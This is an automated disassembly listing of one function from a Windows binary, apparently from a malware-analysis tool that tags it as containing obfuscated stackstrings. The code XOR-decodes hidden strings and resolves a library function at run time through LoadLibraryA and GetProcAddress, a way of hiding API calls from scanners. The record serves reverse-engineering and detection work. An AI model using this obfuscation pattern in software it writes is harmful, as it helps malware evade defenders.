Function at 0x10072d60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov al, 0xe9
push ebx
mov byte [esp + 0x11], al
mov byte [esp + 0x1c], al
mov al, byte [0x10194bb8]
push ebp
push esi
push edi
test al, 1
mov byte [esp + 0x14], 0x82
mov byte [esp + 0x15], 0x43
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0xf1
mov byte [esp + 0x18], 0xc5
mov byte [esp + 0x19], 0xb6
mov byte [esp + 0x1a], 0x83
mov byte [esp + 0x1b], 0xa6
mov byte [esp + 0x1c], 1
mov byte [esp + 0x1e], 0xe0
mov byte [esp + 0x1f], 0x8a
mov byte [esp + 0x29], 0x26
mov byte [esp + 0x2a], 0x37
mov byte [esp + 0x2b], 0x9f
mov byte [esp + 0x2c], 0xa0
mov byte [esp + 0x2d], 0xda
mov byte [esp + 0x2e], 0xb0
mov byte [esp + 0x2f], 0x94
mov byte [esp + 0x30], 0x2f
mov byte [esp + 0x31], 0x8d
mov byte [esp + 0x32], 0x8c
mov byte [esp + 0x33], 0xe6
jne 0x10072e75
mov bl, al
push 0xd
or bl, 1
mov byte [0x10194bb8], bl
call fcn.1013c2df
add esp, 4
mov dword [0x10194bbc], eax
xor edi, edi
mov bl, byte [esp + edi + 0x28]
movsx eax, byte [esp + edi + 0x14]
movsx esi, bl
test esi, esi
jne 0x10072e1d
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x10072e48
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x10072e3d
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x10072e3d
mov al, byte [esp + edi + 0x14]
xor bl, al
mov eax, dword [0x10194bbc]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0xc
jb 0x10072e08
mov ecx, dword [0x10194bbc]
push 0x10012220
mov byte [ecx + 0xc], 0
call fcn.1013c36b
add esp, 4
mov edx, dword [0x10194bbc]
mov al, 0x1d
mov byte [esp + 0x36], al
mov byte [esp + 0x37], al
mov al, byte [0x10194bc0]
mov cl, 0x3b
test al, 1
mov dword [esp + 0x10], edx
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0xc7
mov byte [esp + 0x2a], 0x5a
mov byte [esp + 0x2b], 0xae
mov byte [esp + 0x2c], 0x1f
mov byte [esp + 0x2d], 0x83
mov byte [esp + 0x2e], 0x9f
mov byte [esp + 0x2f], 0xaa
mov byte [esp + 0x30], 0xe8
mov byte [esp + 0x31], 0x9a
mov byte [esp + 0x32], 0x8d
mov byte [esp + 0x33], 0x30
mov byte [esp + 0x34], 0x2f
mov byte [esp + 0x35], cl
mov byte [esp + 0x38], 0xbb
mov byte [esp + 0x39], 0xf6
mov byte [esp + 0x3a], 0x93
mov byte [esp + 0x3b], 9
mov byte [esp + 0x14], 0x3f
mov byte [esp + 0x15], 0xa2
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], 0xd8
mov byte [esp + 0x18], 0x7a
mov byte [esp + 0x19], 0xc0
mov byte [esp + 0x1a], 0xed
mov byte [esp + 0x1b], 0xc3
mov byte [esp + 0x1c], 0x9c
mov byte [esp + 0x1d], 0xf3
mov byte [esp + 0x1e], 0xee
mov byte [esp + 0x1f], 0x51
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x68
mov byte [esp + 0x22], 0x78
mov byte [esp + 0x23], 0x7e
mov byte [esp + 0x24], 0xcf
mov byte [esp + 0x25], 0x9f
mov byte [esp + 0x26], 0xfc
mov byte [esp + 0x27], 0x67
jne 0x10072fdd
mov bl, al
push 0x15
or bl, 1
mov byte [0x10194bc0], bl
call fcn.1013c2df
add esp, 4
mov dword [0x10194bc4], eax
xor edi, edi
mov bl, byte [esp + edi + 0x14]
movsx eax, byte [esp + edi + 0x28]
movsx esi, bl
test esi, esi
jne 0x10072f85
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x10072fb0
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x10072fa5
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x10072fa5
mov al, byte [esp + edi + 0x28]
xor bl, al
mov eax, dword [0x10194bc4]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0x14
jb 0x10072f70
mov ecx, dword [0x10194bc4]
push 0x10012230
mov byte [ecx + 0x14], 0
call fcn.1013c36b
add esp, 4
mov edx, dword [esp + 0x10]
mov esi, dword [0x10194bc4]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x40]
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret